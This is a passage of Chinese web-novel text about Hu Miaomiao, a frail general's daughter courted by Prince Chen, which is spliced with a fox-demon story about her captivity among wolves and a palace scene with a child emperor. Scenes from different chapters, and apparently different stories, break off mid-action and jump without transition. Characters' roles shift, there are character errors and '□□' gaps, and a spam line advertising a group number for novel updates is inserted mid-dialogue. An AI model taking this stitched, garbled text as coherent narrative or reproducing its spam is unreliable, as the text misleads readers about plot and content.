胡家的老家在陵川,胡淼淼一直守孝,三年间香夫人都没机会下手,她知道胡家的东西不少双眼睛盯着,决不能落到他人手里,好不容易等胡淼淼回京,她调换了庄园的人手,准备让儿子生米煮成熟饭。 结果饭没煮成,她儿子头破血流,到嘴的鸭子都飞了,香夫人如何不气? 她带了一群下人,来势汹汹,夏小荷知道今日不能善了,这山庄根本就没有他们的人,小姐性子柔弱,肯定又要吃亏,她忘了胡淼淼的吩咐,着急地跟在后面。 “香夫人,您不能进去,小姐……” “哎呦~” 胡海香雄赳赳气昂昂推开门,结果眼前一黑,额头上传来一阵剧痛,头上的步摇花钗凌乱一团,整个人都不敢置信地捂着头。 一只淡色珠子掉落在地,上面隐隐沾染血迹…… “胡淼淼,你敢打我?” 胡淼淼收回二郎腿坐直身体,惊讶道:加裙幺污儿二漆雾二吧椅每日更新最新完结文“哎呀,香菇?怎么是你啊,我还以为是昨天夜里闯入我房中的登徒子,你是不知道,我一晚上都担惊受怕睡不好觉,现在稍微有点风吹草动心肝就受不了,您轻点喊,我害怕。” 跟着香夫人身后进来的众人:“……”所以,今天早上抱着个男人睡得正香的是哪位?还有您说害怕的时候,能有点表情吗? 香夫人火气上来了。 “胡淼淼,你越发没规矩了,是你不知羞耻和野男人私会,还敢说府上有登徒子?你还想不想嫁人了?就你这样的,将来给我儿子当妾,我儿子都不要。” “好啊。”赤卫队吕洪原本是刑部侍郎之子,热衷于打打杀杀,刚籍贯就参了军,没少被他老子教训。 可惜,刚有点名气他老爹淼冤入狱,府上一百多口人统统被斩首,他在边关被押回去,原以为会在地府和家人团聚,未曾想是七皇子暗中保下他,还帮助他一家沉冤昭雪。 七殿下对他有救命之恩,吕洪性子直最记恩情,是他们办事不力让殷老贼得逞害得殿下失去踪迹。 当日七殿下带人前去剿杀三皇子救兵,却不知为何任务成功了殿下他们那队人至今未归,赤卫队着急只能到处搜查殿下的下落。 吕洪本身长得人高马大,浸淫刑部多年凶神恶煞,他带了一队赤卫队往城门口一站吓得行人不敢吱声,轮到胡府马车见车上迟迟没动静,他眉宇之中全是烦躁抬手掀开车帘。 然而跟七殿下混了那么久有些东西没接触过,映入眼帘的一幕让他老脸一红,在心里大骂不知羞耻,连忙放下帘子。 “走走走,别在这碍事。” 他手握住刀柄上青筋直跳,身后的众人不知他看见了什么,只觉得表情古怪,不过应该跟七殿下无关,他们没有在意去搜查下一个马车。 吕洪走了两步突然有蹙了蹙眉毛,后知后觉反应过来刚才上面那个的身影有点眼熟。 不对,那位才不会如此……放荡!在马车里办事!!! 不知羞耻! 吕洪骂骂咧咧往旁边一杵,虎视眈眈盯着其他来往的行人吓得众人远远绕开深怕惹恼了这位官爷。 没有人阻拦胡家的马车进了京城,一路驶至胡府,得知消息胡府的一些人早已等待在门口观望,只见马车停下来,迟迟没有动静。 胡海林那一代兄弟姐妹众多,都已经成家了,此次全带着自己的子女赶回来,其心思不言而喻,胡淼淼那丫头从小就好拿捏,若是跟她打好关系,不愁捞不到胡家的好处。 可是三年未见脾气涨了不少还学会了端架子,有年纪小的姑娘不满道:“什么嘛,架子真大,祖母都不会让我等这么久。” “闭嘴!”她母亲捅了她一下,示意别说话。 “什么?” “香菇要有香菇的样子,不要学毒菇嘛。”胡淼淼拨弄了一下指尖的朱钗,又抠下来一颗珠子,放在手里把玩,笑眯眯道:“还是回去看看脑袋,不然我这手一抖啊~” 她刻意拉长音,银白色珠子在阳光下散发冷色,稍微一转,捏在拇指和中指指尖,仿佛下一秒就会弹出去。 这丫头怎么手劲儿那么大! 胡海香本能地捂住额头,觉得疼痛加剧,生怕她再拿东西丢自己,愤怒开口,“你好自为之,今天这事没完!” 胡海香何时受过这种苦?她忘记来时的目的愤怒拂袖而去,一边走一边嚷嚷着让人找大夫。 夏小荷目瞪口呆:“小……小姐?” 胡淼淼惊讶:“你怎么还在这?我的饭呢?” 和对待香夫人的笑里藏刀不同,彼时的胡淼淼眼淼期待,专注得好像期待多年的情人似的,让夏小荷怀疑,自家小姐是不是好几年没吃饱饭了。 多迟到几秒,都是一种罪过。 “奴婢去拿。” 女人漫步走到她身前,凝视着袋子里的死狐狸,眼底是滔天恨意,“果然是狐族祸害,不仅害死了青谛,还私通狼族,招惹了一个怪物。” 胡淼淼扭头,发现自己竟然被困在一个袋子里,偷偷挣扎,妖力无法使出。 苏山灵身后的小妖警告:“别耍花招,这是束妖绳,再强大的妖,也别想从里面挣脱。” 小狐狸蓝眼珠一转,所以,可以用外面挣脱咯? 胡淼淼还要回家找夫君呢可没时间和这群讨厌的同族消耗时间,突然被绑架至此,她家夫君知道吗? 她有些急,君泽琛不会以为她讨厌他是狼族所以逃跑了吧? 第 59 章 第 59 章 “还乱看?等你的情郎救你吗?” 苏山灵用脚尖踹了踹狐狸,眉宇间毫不掩饰地高傲,“此次抓你这小畜生回来,倾尽了我狐族多少性命?你的情郎自身难保,哪还有能力救你?” “与其想些有的没的,不如想想回到狐族,怎么和青丘交代,对吗,青丘姑娘?” 她眉眼一挑,对不远处的一个人说。 那是一个模样白净的女子,她微微一笑:“正是,小狐狸啊小狐狸,杀我青丘少君,你可知罪?” 胡淼淼在绳子里蜷缩成一小团毛绒绒,背脊被苏山灵踩着,感觉都要断了,她用尾巴挡住自己下半张脸,听他们的对话得知,女子是青丘的人。 在青丘,除了少君,就是少君的其他兄弟姊妹都被称之为公子和姑娘。 青丘老狐王子嗣不和,这位应该…… 胡淼淼眸子一闪,心中已有定夺,镇定下来就不害怕了,她一扬脑袋,对着身上的脚腕就咬了一口。 苏山灵没想到这孽畜被束妖绳捆绑还不老实,养尊处优的有苏王女何时受过这种苦? 她吃痛一声,一脚将小狐狸踹远。 胡淼淼团得很圆润,叽里咕噜滚到青丘姑娘身边,她顾不得疼痛,一屁股就坐在了青丘姑娘的鞋子上。 脚上一暖,青丘的那位姑娘也就是白青羽低头,与她对视。 胡淼淼挪了挪狐臀,更靠近了一些,然后瘫在她脚上,不动了。 君泽琛却欣然接受了。 其实这也是他盼望的,王府里待了那么久,半点福利没捞到,在将军府,有将军他们看着,他可得了不少好处,尤其是淼儿竟然还给他擦嘴…… 这是君泽琛做梦也没想到的。 二人就此在将军府住下,那么问题来了! 虽然他们得到圣旨是正规夫妻了,但他们还不曾有过什么亲密举动,晚上睡觉的时候都是分床睡的。 如今身处将军府…… 周氏给他们安排的是胡淼淼之前的房间,哪怕她不在府中,也依旧每天派人打扫,就是为了等她回来。 彩衣得知小姐回来了,更是兴奋的又收拾了一遍,然后给他们倒上把热水烧好,倒入浴桶中,眼睛飞快瞟一眼:“小姐可需要奴婢服侍?” 之前其实都是彩衣跟着胡淼淼的,洗澡什么虽不说在旁边看着,但也在不远处听着动静,深怕她摔跤,磕到碰到。 现在有了王爷,彩衣还真不知道应该怎么办了。 室内并不冷,胡淼淼把衣服放在一旁,尴尬地扫一眼坐在一旁的男人,最终还是让彩衣退下了。 一时间,秀气的闺房内,就剩下俩人,气氛竟然有一丝粘稠了起来。 胡淼淼站起来:“我……还是你先洗吧。” 君泽琛哪会和她抢位置,以她身子不好为由,把人推进了屏风后的浴桶旁,而他自己,十分自觉的退了出去。 “有什么事情不要逞强,记得叫我。” 另一边,被抛出去的小狐狸在半空中划过一个优美的抛物线,直挺挺坠入狼群。 好在,她的束妖绳解开了,就算掉入狼群也没什么问题。 只要能动用妖力,她强得可怕。 小狐狸被摔个屁股蹲儿,浑身疼,灰头土脸从地上爬起来,在狼群虎视眈眈的注视下,二话不说动用…… 咦? 妖力呢? 胡淼淼的额头控制不住沁出细密的汗珠,从两侧滴落…… 孱弱的身体已经因为她的剧烈情绪,开始出现了不良反应,胸口阵阵发门,眼前片片眩晕,似乎一切的话语都快离她远去了…… 不,不能晕,她既然头上有将军之女的名号,就要有胡家女的气概,不过是不知道从哪冒出的女人,和一个皇家的薄情郎罢了,算得了什么? 怪只怪,她遇人不淑,她一定会挺过去…… 嫁衣的颜色越发深沉,流淌的血液晕染开来,红了白玉铺垫而成的地板,大殿中血腥味越来越浓,胡淼淼黛眉紧蹙,额头和眼睑下混合着泪水与汗珠,苍白的脸布满了倔强。 君子华脸上露出厌恶:“你让本王错过她那么多年,还敢摆出这幅样子,真的恶心极了。” 他扯过侍卫腰间的长剑,冰冷的锋锐在空气中划过冷冽的弧度,剑锋依稀可见她此时的模样…… “这张脸,不必存在了。” 意识到他要做什么,胡淼淼眼神淼聚成冰:“你别后悔,只要今天我不死,今后我必将报今日之仇!” 君子华毫不心软,抬剑要把那张脸剥下来,胡淼淼淼下意识闭上眼睛,心中充满恨意,恨自己识人不清,恨对方的薄情寡义,如果今日她不死,一定会让对方身败名裂,哪怕那个人是皇子…… 然而,脸上的刺痛并没有传来,取而代之的是,一道马蹄伴随着破空之声,带着势不可挡的劲气,和重剑落地的声音,以及侍卫的惨叫声。 下一秒,身上的钳制不在,取之而来的是淡淡的冷香伴随着温热的气息,腰间被一只手轻柔的托起,夹棍也被人轻柔的取下,胡淼淼惊讶的睁开眼睛,入目的就是一张宛如天神降临的脸庞…… 几秒过后,妖力在龟速回归,一点点。 根本就不足矣支撑幻象, 狼群中的小狐狸和头顶上庞大的大狼们大眼瞪小眼。 四面八方皆是狼,唯有中间一点狐。 空气寂静得可怕,气氛也严肃至极,小狐的命有点紧。 美人在侧,伤口算什么? 区区几支箭,他又怎会躲不过? 君泽琛趴在床上,目光定定地看着胡淼淼,眼中带着期盼…… 昏暗的光晕下,不知是不是胡淼淼的错觉,她在男人的脸上看见一抹脆弱…… “唉~”一声低叹在室内响起,胡淼淼妥协了。 要是以往,她自认为没什么和琛王谈的,本可以拒绝,可今日…… 哪怕那种紧急情况下,胡淼淼仍旧注意到,那些人的攻击,是冲着她来的。 君泽琛被她牵连,替她受了伤,无论如何那声拒绝都说不出口。 这一刻,终究是心软了。 胡淼淼美眸流转之间,在床脚处一顿,起身过去。 见她答应,君泽琛心中阴郁情绪一扫而空,正要说什么,就见他放在心尖上的人突然靠近他。 君泽琛呼吸一窒,稳居朝堂翻手为云覆手为雨的老油条,在这一瞬间,心跳声差点蹦出胸腔…… 她……她怎么突然靠近,苦肉计奏效了? 男人面上不动声色,暗地里攥紧了手掌,完全没有了平时琛王霸气的模样。 或者说,在胡淼淼面前,他就没出息过。 他要出息,上辈子就把人抢到手了,也不至于追到这辈子才下手,还怂成这幅模样。 “扑通扑通——” 正在男人猴挠心,想要去抓住什么之际,那只手与他擦肩而过,胡淼淼拿起被遗落在一旁的书,对他道:“你带来的书还在,既然你睡不着,我就给你讲故事吧。” 君泽琛:“……” 啪叽—— 有什么东西被无情的丢在地上,摔了个十八瓣…… 他低下头,收回想要抓住人家的手默默抓住枕头,轻“嗯”了一声,算是同意了。 胡淼淼奇怪的看他一眼,见男人正握着枕头,想来伤口很疼吧,当一个人疼痛的时候,转移注意力确实是一个好方法。 她收回思绪,坐回床头,拿起了小册子随手翻一页给他读。 外面的天空不知何时开始飘雪,琛王府主卧窗户已经被修好,除了君泽琛身上的伤,丝毫没有刺客留下的痕迹。 胡淼淼坐在床边,侧对着他,君泽琛抬头,就能看见那无暇的面容,女子皮肤白皙,气若幽兰,身上有淡淡的药香,不重,很迷人。 她声音轻而缓慢,娓娓道:“宋安婉名门千金,自由与青梅竹马的肖哥哥相伴,十六岁订婚,十七岁大婚当日……” 胡淼淼一顿,察觉到身后疑问的视线,抿了抿嘴角继续读:“大婚当日……被陌生人抢亲,消失在众人视野中,洞房花烛新郎令换他人……宋安婉惊慌失措中,男人撕开了她……” 剩下的不必多说,都知道是拉灯环节,脖子以下?不不不!应该是嘴以下都是黄色料理。 他们都不知修炼多少年了,体型犹如密不透风的墙,一只只凶神恶煞,胡淼淼一点逃出去的希望都没有。 她吞了吞口水,身上每一根毛毛都瑟瑟发抖,控制不住的恐惧,害怕地踩着尾巴,爪子更是紧张地合在一起,生硬地对众狼拜一拜。 “自己狐,能不吃吗?” 为首的狼冷笑:“狡猾的狐狸,别跟我们套近乎,你以为你是谁?今天我就是把你吃了,都不够塞牙缝的。” 胡淼淼绝望地解释:“我真是自己狐,我夫君是你们狼族。” 狼冷笑:“放屁,狼狐两族是天敌,哪只狼那么不像话会娶一只狐狸?你编借口也找个好点的理由,少废话,等弟兄们抓到剩下的那几只狐狸,就把你们一起扒皮献给我们的王。” 听说王最近成婚了,可惜他们这些虾兵蟹将镇守狐族,离不了岗位,无法参加狼王的婚礼,但是狼未到,得随份子钱讨好狼王。 狼王最讨厌狐狸,用狐族的皮做成狐裘献给未曾见面的夫人,说不定狼王心情好能赏赐点什么。 恶狼们上下打量,在心里轻叹一声,这只狐狸太小只能做毛领,颜色倒是挺特别,也不知道夫人会不会喜欢。 第 60 章 第 60 章 胡淼淼刚出狐穴又进狼窝。 她并没有立即被狼族解决,而是被薅住命运的后脖颈抓走。 狼族把她安排在一排房间里,是传说中的监牢,狼族的血性让他们有仇当场就报,没有立即处置的很少,所以牢房,环境还很干净,只是光线稍微暗了一点。 胡淼淼小小的一只霸占整个房间,也算是住上单间儿了。 胡淼淼:“……” 真的够了。 她病被吓跑了大半。 胡淼淼没和某人瞎折腾,而是简单洗漱后安静躺在床上捋了捋思绪。 既然她救了琛王,那确实没救君子华,不过是阴差阳错找错人罢了,救君子华是那位水芸姑娘。 她心底茫然了。 这还要□□吗?但她还是忍不住问出了心中疑问:“喜欢我很久?可我没见过你。” “见过的!”君泽琛执拗道:“你曾经救过我,花朝节的一个巷子口,我受了伤,加上旧疾复发,如果不是你,我根本就不可能活到现在。” “你说什么?” 胡淼淼突然面带错愕,一手紧抓他衣摆,死死盯着:“花朝节?你是不是带着面具?” 怎么会……时间过的很快,眨眼之间便到了除夕的早晨,东方阳光挂起,胡淼淼没有像以往那般被炮竹吵醒,醒来后稍微有些奇怪。 以往过年是在将军府,这是第一次在其他地方过年,难道哪里不一样? “琛王府过年不放炮竹吗?” 虽还没到晚上,但按照“开门爆竹”的习俗,吃饭之前要先放炮竹的 日子渐渐回暖,胡淼淼洗漱后打开窗户,稍微透透气。 “回王妃,王爷是怕吵到您,如今您醒了奴婢这就吩咐人放炮去。” 胡淼淼闻言有些好笑,果然把她当纸糊的了。 若冰说完就打算出门,正好遇见进屋的君泽琛,君泽琛对若冰吩咐道:“告诉他们开始吧。” 若冰退下后,不等胡淼淼说话,君泽琛直径坐在她身旁,伸出双手捂住她的双耳。 “炮竹声很吵,你就看看得了。” 男人掌心温热,二人坐在一起,因为动作原因,彼此距离非常近,让胡淼淼耳朵不自觉发烫,直到外面出来隐约的爆声,她才回过神来,美眸不自觉看向对面男人身上。 君泽琛在胡淼淼面前,总是收琛气息,像是被抹平了棱角的石头,露出圆润光滑的一面,正如此时,他张狂的眉眼柔和,举手投足之间无不细心。 搁在胡淼淼心中的墙 ,在这一刻缓缓崩塌,甚至想着,就算对方是伪装又如何,就这样……伪装一辈子。 该多好?回宫后,胡淼淼火速筹备其他事宜,把今日发生的事情抛之脑后。 三个月最后期限,如同白驹过隙,眨眼之间便从指尖溜走,先皇在世时长公主府便已准备完毕,遵照先皇遗诏,长公主过了孝期,就可张罗着搬出宫住。 日期定在明日。 小皇上还小,朝堂上事务繁多,哪怕有镇北王帮衬,也忙得不可开交,冷不丁听说这件事,他立即抛去奏折,风风火火跑去公主殿。 胡淼淼正在指挥宫人帮忙收拾行李,乍一听皇上驾到,愣了几秒迎上去,尚且不等她做样子行礼,一个黄色身影,如同小炮弹扎进她怀中,力道之大,差点把她整个人掀翻,好在翠花眼疾手快在身后扶了她一把,稳住了二人身形。 翠花等人这才跪下行礼。 “参见皇上……” “哎呦~皇上~您可仔细龙体,万不可磕着碰着,如有受伤,奴才百年之后,有何脸面面见先皇。” 德福年纪大了,根本跑不过年纪轻轻的小家伙。 他扶着胸口喘气,用那尖细的嗓音哔哔叭叭半天,抬头一看,人家根本鸟都不鸟他。 今日胡淼淼没再穿白色,而是选择了一件艳红色宫装,明黄色扎在她怀中,不君形象的模样,真心有些显眼。 她感觉,自己的小蛮腰,要被勒断了,胡永斌看似小小的一只,这手劲儿竟然这么猛。 “行了行了,这么多人呢,成何体统!” 话最这么说,胡淼淼动作却十分轻柔的在他背脊上拍了拍,手下的孩子好似一只小兽,不知受了什么刺激,肌肉绷得死紧。 胡永斌脑袋在她怀中,稚嫩的声音之中,皆是怒气。 “皇姐说过不会抛下我?我什么都可以答应你,皇宫不好吗?为什么要离开?父皇母后走了,你也想着离开我!” 他嘶吼,愤怒,又无可奈何,父皇不君旧疾为国为民,不得已才离开,他身为唯一的皇子,理应谅解他,可是母后呢? 难道在母后心里,只有父皇? 在她自杀的时候,有没有想过他们姐弟,难道殉情,就是所谓的爱? 死去的人一了百了,伤痛只会留给活着的人,胡永斌想,他除了被强加在身上的皇位,还有什么? 在民间,不过是个没有了父母的野孩子罢了。 最后剩下的,只有这个比他出生早十多年的姐姐,他在外人面前,连哭的资格都没有。 父母离去,在年仅七岁的孩子心里,留下了不可磨灭的创伤,一点风吹草动,都会触及他年幼的心灵。 比如……明明胡淼淼只是按照遗诏去属于自己的公主府而已,被他这么一搞…… 哀伤或许只有小皇帝,从胡淼淼的视角,意思就是:老爹老妈死了,你咋也要嗝屁了,不许离开我,不然我就一哭二闹三上吊。 胡淼淼:“……” 行吧,大概她和小皇帝不在一个脑回路上,谁让她不是他亲姐,虽然觉得孩子可怜,但…… 没得共情。 她忧桑几秒,拽住他那死死扣住自己的龙爪子,叹了口气:“就这事儿?” 胡永斌:“???” 他抬头,眼角还隐约看见些许晶莹,他懵了。 什么叫就这事? 难道,在皇姐眼里,和他离开,只是微不足道的小事吗? 情绪终于忍不住崩了,和胡淼淼有几分相似的眼睛红肿一瞬,眼泪正要流出来,胡淼淼眼疾手快,广袖一挥,把他捂进怀中,对翠花一干下人吩咐。 “愣着干什么,本宫有话要和皇上说。” “是!” 众人低着头如获大赦,便是连德福心尖都提了起来,他绷着最后一根线,带着众人快速撤退。 皇家的脸面比什么都重要,皇上更是一举一动象征着胡栖国,如果看见什么不该看的,可是大罪。 正厅内,随着众人退去,只剩下姐弟二人,以及一些尚未收拾好的行李。 怀中的人开始哽咽,很快胸襟便传来一阵潮意,红色广袖掀开,胡永斌哭成一团。 在朝堂中,面对咄咄逼人的百官他不曾哭,如今只因为皇姐的一句话,抛弃皇上的架子,发泄情绪。 “唉~”一声轻叹,胡淼淼把他抱到座位上,弯腰擦去他眼角的泪水。 “你如今是皇上,当着那么多人的面哭,不知羞。” 胡永斌脸上传来轻柔的触感,他像幼崽一样哽咽一声,黑黝黝的圆眼弥漫着水雾。 “在皇姐心中,我就一点都不重要吗?” 在现代中,胡淼淼不是很喜欢小孩子,因为孩子们淘气,又爱哭爱闹,总担心磕到碰到,遇见了能有多远躲多远,如今…… 这个便宜弟弟似乎过于粘人,却并不能引起她的反感,甚至心底有个声音在说:谁能拒绝得了可怜又粘人的小正太呢? 她想,没人能拒绝这样男子的温柔攻势吧。 见女人看自己看的入迷,君泽琛心尖打鼓,掌心却不曾动一下,而是道:“怎么了?” 男人眼神飘忽一瞬,胡淼淼笑了笑:“没事儿。” 室外爆竹噼里啪啦作响,室内二人之间气氛稍微缓和。 吃饭后君泽琛让王府下人换班回去过节,要是往年,不用换班都爱哪哪去,可今年不同,今年他有媳妇了,万一再有刺客混进来他不敢冒险,王府应该留些人才是。 王府中的侍卫也没有怨言,守护琛王府本身就是他们职责所在,王爷给点时间见一见家人,已经很仁义了。 往年胡淼淼在将军府,思及在琛王府可能有所不习惯,君泽琛带着胡淼淼回门一趟。 胡将军从边关回来年前不曾离开,说起来,胡淼淼也很久没和父亲一起过年了,对君泽琛的决定,内心还是很感激的。 连带着,就连胡将军对君泽琛抢走闺女的敌意,也下降不少。 周氏随着胡淼淼去说了些体己话,而胡宁羽则凑到琛王身边,声称,想做他姐夫,必须得抗揍,要比划两招儿。 君泽琛在将军府可以压制自己性格,被这么一问,眉毛不自觉挑了一下:“你确定?” 别说,他这么一挑眉,那股张狂阴郁的气息就出来了,胡宁羽有一丢丢后悔,但一想到这是他姐夫,要是武功不厉害,怎么保护他姐? 于是小伙子脾气上来了,大过年就拿起了□□要干架。 胡将军则在一旁看戏,君泽琛的实力比他还厉害,可是作为他儿子,需因难而上,琛王武功锋利,没准小羽能学到一些功夫,也不错。 可淼,胡将军还是对自己儿子给予太大厚望了。 学东西? 笑死,根本没过两招,小伙子就趴地下了。 琛王怕伤到胡淼淼弟弟没敢拿武器,饶是如此,那小子也不抗揍。 “再来!”胡宁羽爬了起来,眉宇之间尽是坚毅。 君泽琛有些诧异,随即勾出一抹笑意,继续调/教小舅子。 与此同时,周氏正握着胡淼淼的手唠家常,期间自然少不得提起君泽琛,说到君泽琛,周氏不免有些感慨:“起初我以为君子华那孩子靠得住,如今看来……琛王待你不错,倒也算一段缘分。” 周氏有些踌躇:“你不会还想着他呢吧?” 琛王对胡淼淼的好,周氏身为过来人,当然能看出来几分,就怕自家女儿还惦记那薄情郎,以至于影响了与琛王之间的感情。 就算琛王对待淼儿有感情,可是没有任何男人容许妻子心中有其他男人。 周氏真怕有一天,胡淼淼刚见好的日子,因为中间横着的君子华破裂了。 胡淼淼摇头:“不想了。” 不过,那日的场景历历在目,有些事不能这么算了,她自认为对君子华尽心尽力,可到男人嘴里,为什么成为了欺骗? 想要调查,还要从叶水芸身上。 “娘,三王爷那日,带来了一个和我长得很像的女子,可是和我有渊源?或者和我们家有亲戚?” 一般情况下,长相都是有血缘关系才会相似,可胡淼淼除了小叔一家,还真不记得有什么亲戚。 思来想去,问了出声。 周氏握着胡淼淼的手不自觉一紧,随即像是控制着某种情绪,笑道:“咱们家亲戚你都知道,怎么可能呢。” 母亲在隐瞒什么? 胡淼淼垂了下眼眸,没再刨根问底,话题很快就转了过去,一聊就聊了很久,看了看天色,胡淼淼不自觉想到了君泽琛。 对周氏道:“我想去看看。” 周氏了然,让人添了件衣服,通过下人打听,才知道自从来了将军府后,君泽琛他们就一直在练武场? 胡家世代为将,后院特地安排了练武场地,方便训练,可不知堂堂琛王,去那干什么。 出于好奇,胡淼淼跟着周氏去了练武场,然后第一眼就看见了一个身影宛如游龙,身姿矫健,而另一个…… 鼻青脸肿,被打趴在练武场之上,狼狈模样和另一个潇洒如鹰的形成了鲜明对比。 胡淼淼:“……” 这…… 看模样有点惨,如果不是衣服,她都认不出来是宁羽了。 她掩嘴轻咳一声,那边的两个身影倏然一顿,还不等胡淼淼说什么,君泽琛就把手背到身后,张嘴道:“我不是故意打他的。” 胡淼淼:“……” 堂堂琛王,竟然说出了这种……感觉很古怪的话,就像是一个犯错怕得到惩罚的孩子……莫名有些可爱? 她掩嘴轻咳:“你们这是?” 琛王怎么会知道这些? 剧烈的激动情绪让她控制不住咳嗽一声,可她顾不得那么多,满脑子都是花朝节,好像朦胧黑幕即将被掀开,真相即将浮现在她眼前。 君泽琛没想到她是这反应,抱住她稳住心绪,有些懊恼不小心让她吹了冷风。 不过,更惊喜的是,她竟然记得自己,原以为,改变他一生的转折,已被他人遗忘…… 君子华记恨她占了叶水芸的位置,可她也是无辜的。 当年寻错人的是他,没认出来认错人的是她,都有错…… 罢了,误会既然已解开,只希望以后不再有交集,日子还要过下去,往日不可追,君子华爱怎么记恨怎么记恨,爱怎么想怎么想,她现在是琛王妃。 至于那个女人,长相相似绝对和她有关联,就连母亲也有所隐瞒。 胡淼淼决定还是查查吧,不为报复,只为心中的不安,好似这件事情不查清楚,总会出事一样。 自从成亲之前出现了预知梦后,她的预感一向很准。 胡淼淼思考了一个晚上,最后身体抗议下才微微睡了一小会儿。 这一睡,出事了。 冰冷,飘荡,船只……以及孩子。 一条河流飘荡着一个小船,船上无其他东西,只有一个孩子,无依无靠想要挣扎却被封印小小的身体之中,水流湍急之处,把船打翻,鼻腔灌满了水,寒冷刺骨…… 窒息、害怕,彷徨…… 要死了吗? “淼儿?” “闭嘴! 你们想害死本将吗?”狼三赶紧制止,可惜已经来不及了。 一道强烈的威压由远及近,整座长廊的气氛都冷冽起来,所有狼族抵不过血脉的威压,全部匍匐在地,连被捆住的那只狼都被压得低下了头。 那妖速度极快,转瞬出现在众妖面前。 男人银黑色战甲覆盖在强健有力的身躯上,浑身难掩的爆发力,泼墨般的长发狂傲不羁地披散在身后垂至后腰,发梢微卷,更显狂野,脸上戴着一个银色狼形面具,只露出锐利的眼睛、轮廓流畅的下颚和淡色的薄唇。 他就像是危险的猛兽,刚一落地无视自己的族群,精准地锁定了白蓝色的小猎物,目光深邃而肃穆。 他的气场太过骇然,胡淼淼一屁股坐在地上,狐眸瞪大,难以掩饰的恐惧。 60-70 第 61 章 第 61 章 “嗷呜——” 狼族齐刷刷匍匐在地称男子为王。 戴面具的妖怪就是传说中的狼王。 和胡淼淼想象中的一样 ,他满身肃杀之气让狐坐立不安。 云邬国街上红装满地,足足十里…… “这将军府的病秧子,嫁得好又怎样,要我看,这福气她也没命享。” “是啊,嫁过去就死了,该多晦气,怎么有脸的呢。” “就算不死,就她那身子骨也蹦不出一男半女来,迟早让人抢了王妃的位子。” 哪怕隔着花轿,胡淼淼都能听到,城中无数贵族女子在恨自己恨得牙痒痒。 红色的盖头挡住了她的视线,五感被放大到极致,颠簸的花轿让她本就孱弱的身体越发虚弱,白皙消瘦的指尖不自觉握紧了衣摆。 她轻嗤一声,如果可以她更希望,像普通人一样活着。 胡淼淼自幼就能看见别人不知道的东西,她潜意识里知道那个东西叫细胞,还可控制它辅助救人。 代价就是,她生来就是病体,一身医术终究是救不了自己。 十三岁的花朝节,她在幽深的巷子救了个带着面具的男人…… 在那之后,她虚弱一段时间,被将军府丫鬟找到的时候已经失去了意识,而后她才知道,她救下的人,竟然是当朝三皇子,三皇子经常找她,她也在暗中不顾身体,潜移默化治疗他的暗疾,直到他向自己求婚。 她始终记得那天面具后面,那双濒临死亡却又倔强的眸子…… “咳咳~” 胸腔似乎有一种化不开的郁气,嗓子熟悉的发痒,她剧烈的咳嗽了几声,娇弱的身体轻微颤抖,花轿停下,胡淼淼才勉强止住。 “新娘子,三王爷已经等候多时了。” 胡淼淼睫毛轻颤,轻轻的应了一声,那声音小的几不可闻还带着少许不安。 按照之前君子华对自己的态度,今天竟然没亲自迎接。 单这点小事还不足以让胡淼淼介怀,让她在意的是,今天的场景,包括路过街道的讨论声,竟都和昨晚的梦一模一样…… 还不等胡淼淼多想,就已经被带了进去…… “来了来了。” 不知是谁喊了一声,就见纤细的红色身影越来越近,身若扶柳,气若幽兰,哪怕看不清盖头下是怎样的面孔,依旧让不少年轻人面露惊艳。 暗道一声:三王爷好福气! 三王爷君子华却静静的站在礼堂前,面目俊朗,神色暗沉,一时间竟让人看不出他此时的想法。 下一秒,却见他手一抬,红色的广袖在空中划开,“来人,把她给本王拿下。” 王府殿内的众人一愣,拿下谁? 不等他们反映过来,府内的所有侍卫已经把殿内包围,娇弱的新娘子已经被按倒在地。 “王爷!” 众人惊呼出声,一时间都被这转变所震惊了。 这是要干什么,听闻胡将军府的宝贝嫡女从小体弱多病,走两步都要喘一喘,现在竟然被这么对待,不怕胡将军回来找皇上奏一笔吗? 胡淼淼以一种极尽狼狈的姿势被狠狠按在地上,红色的盖头滑落,喜服衬托下,那张苍白的脸又透明了几分,黛眉下一双美眸满是愕然,宛如蝶翼的睫毛不安的颤抖,涂了胭脂也掩盖不住苍白的菱唇微抿,把到嘴的惊呼忍了回去。 此刻,她已经顾不得胸腔的疼痛了,满脑子都是匪夷所思。 那梦! 是真的! 她昨夜做过一个梦,和当下场景一模一样! 梦里有人反复提醒她婚礼是个骗局,别去,但那是她倾尽所有的君子华,她是他的救命恩人! 怎么会? 男人面上冰冷,语气凉薄:“胡淼淼,本王问你,为什么千方百计冒充水芸。” 胡淼淼倏然惊讶的抬头:“你说什么?” 冒充谁?胡淼淼的第一反应就是:“笑话,我堂堂将军府嫡女,何必要冒充别人?” 这一刻的她,柔弱之中却带着不折的气势。 “还要装?那好,本王让你看看,你有多恶心。”君子华嘴角勾出一抹残忍的笑 大殿的门再次被敞开,一阵冷风袭来,胡淼淼侧眸看去,当视线触及到那人的脸上,猝不及防睁大了美眸。 那女人的脸和她一模一样! 她是谁? 唯一不同的是,这个女人有着自己向往的活力,而自己却常年病弱,连像正常人那样都是奢侈。 门口女人抬步走到君子华面前,轻轻的牵起他的手,二人动作亲昵。 短暂的呼吸之间,胡淼淼已经从震惊中回神了,她动了动嘴角:“她?” “胡淼淼,你厚颜无耻苦心算计,冒充别人身份来嫁给本王,现在看见水芸,你还有什么话说!” 叶水芸把话接过:“当初我救子华后,家中突然发生变故,这才不得已离开,打算等事情结束后再找到他,可我没想到,再见之时他身边竟已经有了你……若不是他曾经留下的玉佩,我怕是这辈子都无缘与他相认了。” “胡说!人是我救的,我没有冒充任何人。” 胡淼淼面色苍白如纸,想要起身,却被身后的侍卫狠狠按住,只能看向君子华:“就凭一枚玉佩,你信她不信我?这三年的陪伴,都不作数了吗?” 只要他所出一个不字,那么从此他们就断绝关系,从无可能了,她也不会去纠缠一个眼盲心瞎的男人。 君子华眸色一闪,显然是想到了某些回忆,当初他伤势好了后,就回去让人按照画像搜索,才得知是将军府家的小姐,他为了报答她,经常去找她,她身体不好,却经常为自己劳累,每次自己一生病,对方都会用心照料,有那么一段时间他旧疾发作,唯有看见她才能得以缓解。 他原以为会对她好,可是,事实就是事实,他留下的玉佩,在水芸上手,她们两个长得一样,或许当初是他认错了,但她明明可以澄清的不是吗。 这个女人还安心理得这么多年,如果不是他揭穿,她是不是打断瞒一辈子? 这么想着,君子华触动的心再次冷硬了起来,看着胡淼淼的目光越发厌恶。 胡淼淼的贴身丫鬟彩衣从震惊中回神,想要救她,然而她一个丫鬟,怎么可能是这些侍卫的对手? 只能哭喊着:“王爷,小姐体弱,经不起这般对待。” 